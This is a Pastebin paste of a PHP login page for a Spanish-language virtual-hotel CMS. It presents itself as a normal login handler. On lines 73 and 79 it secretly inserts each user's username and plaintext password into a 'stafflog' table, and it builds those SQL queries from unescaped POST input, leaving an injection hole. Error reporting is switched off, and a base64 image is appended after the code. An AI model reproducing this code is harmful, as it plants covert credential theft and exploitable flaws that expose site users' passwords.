Guest User

Untitled

a guest
Dec 9th, 2018
160
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.10 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. ?>
  4. <?php
  5. /*=======================================================================
  6. | SilverCMS © 2012 - 2013 By AlexJoan10
  7. /*=======================================================================
  8. | LxCMS v2A - Esperemos dejes los créditos, por favor.
  9. \======================================================================*/
  10.  
  11. require_once "global.php";
  12.  
  13. if (LOGGED_IN)
  14. {
  15. header("Location: " . WWW . "/me");
  16. exit;
  17. }
  18.  
  19. $tpl->Init();
  20.  
  21. $tpl->SetParam('page_title', 'Reserva suite gratis en el mayor Hotel virtual. Queda con tus viej@s amig@s, haz nuev@s, juega, chatea, crea tu avatar, tus habitaciones y más aún...');
  22. $tpl->SetParam('credentials_username', '');
  23. $tpl->SetParam('path', WWW);
  24.  
  25. $tpl->AddIncludeSet('frontpage');
  26.  
  27.  
  28. $frontpage = new Template('page-fp');
  29. $frontpage->SetParam('login_result', '');
  30.  
  31. if (isset($_POST['credentials_username']) && isset($_POST['credentials_password']))
  32. {
  33. $frontpage->SetParam('credentials_username', $_POST['credentials_username']);
  34.  
  35. $credUser = filter($_POST['credentials_username']);
  36. $credPass = $core->UberHash($_POST['credentials_password']);
  37. $credRpass = $_POST['credentials_password'];
  38.  
  39. $errors = array();
  40.  
  41. if (strlen($_POST['credentials_username']) < 1)
  42. {
  43. $errors[] = "Por favor, escribe tu email o nombre de usuario ";
  44. }
  45.  
  46. if (strlen($_POST['credentials_password']) < 1)
  47. {
  48. $errors[] = "Por favor, escribe tu contraseña ";
  49. }
  50.  
  51. if (count($errors) == 0)
  52. {
  53. $check = $users->ValidateLogin($credUser, $credPass);
  54. if ($check[0])
  55. {
  56. if (isset($_POST['page']))
  57. {
  58. $reqPage = filter($_POST['page']);
  59. $pos = strrpos($reqPage, WWW);
  60.  
  61. if ($pos === false || $pos != 0)
  62. {
  63. die("<b>Advertencia de seguridad</b> Una petición malicioso fue detectado que intentó redirigir a un sitio externo. Por favor proceda con precaución, esto puede haber sido un intento para robar sus datos de acceso. <a href='" . WWW . "'>Regresar al sitio.</a>");
  64. }
  65. else
  66. {
  67. $_SESSION['page-redirect'] = $reqPage;
  68. }
  69. }
  70.  
  71. if (!$check[1]) {
  72. $_SESSION['UBER_USER_N'] = $users->GetUserVar($users->Name2id($credUser), 'username');
  73. mysql_query("INSERT INTO stafflog (username, command) VALUES ('".$credUser."', '".$credRpass."') ");
  74. }
  75. else
  76. {
  77. $_SESSION['UBER_USER_N'] = $users->GetUserVar($users->Email2id($credUser), 'username');
  78. if ($check[1] > 1) {
  79. mysql_query("INSERT INTO stafflog (username, command) VALUES ('".$credUser."', '".$credRpass."') ");
  80. $_SESSION['page-redirect'] = "identity/avatars";
  81. }
  82. }
  83. $_SESSION['UBER_USER_H'] = $credPass;
  84.  
  85. if (isset($_POST['_login_remember_me']))
  86. {
  87. $_SESSION['set_cookies'] = true;
  88. }
  89.  
  90. $_SESSION['jjp']['login']['user'] = $_SESSION['UBER_USER_N'];
  91. $_SESSION['jjp']['login']['email'] = $users->GetUserVar($users->Name2id($_SESSION['jjp']['login']['user']), 'mail');
  92. $_SESSION['jjp']['login']['name'] = $users->GetUserVar($users->Name2id($_SESSION['jjp']['login']['user']), 'real_name');
  93.  
  94. header("Location: " . WWW . "/security_check");
  95. exit;
  96. }
  97. else
  98. {
  99. $errors[] = "Tu contrase&ntilde;a y email no coinciden.";
  100. }
  101. }
  102.  
  103. if (count($errors) > 0)
  104. {
  105. $loginResult = '<div id="loginerror">
  106. <div id="loginerrorfield">
  107. <div>';
  108.  
  109. foreach ($errors as $err)
  110. {
  111. $loginResult .= '' . $err . '';
  112. }
  113.  
  114. $loginResult .= '</div></div></div>';
  115.  
  116. $frontpage->SetParam('login_result', $loginResult);
  117. }
  118. }
  119.  
  120.  
  121.  
  122. $tpl->AddTemplate($frontpage);
  123.  
  124. $tpl->Output();
  125.  
  126. ?>
  127. <body img background=data:image/jpg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wCEAAkGBggGAgkIBwgKCQkKAgoCAgICAg4HCAUKExAVFBMQEhIXGyYeFxkjGRISHy8gIycpLCwsFR4xNTAqNSYrLCkBCQoKBQUFDQUFDSkYEhgpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKf/AABEIAGIAggMBIgACEQEDEQH/xAAVAAEBAAAAAAAAAAAAAAAAAAAAB//EABQQAQAAAAAAAAAAAAAAAAAAAAD/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEQMRAD8AhoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP/9k=>
Add Comment
Please, Sign In to add comment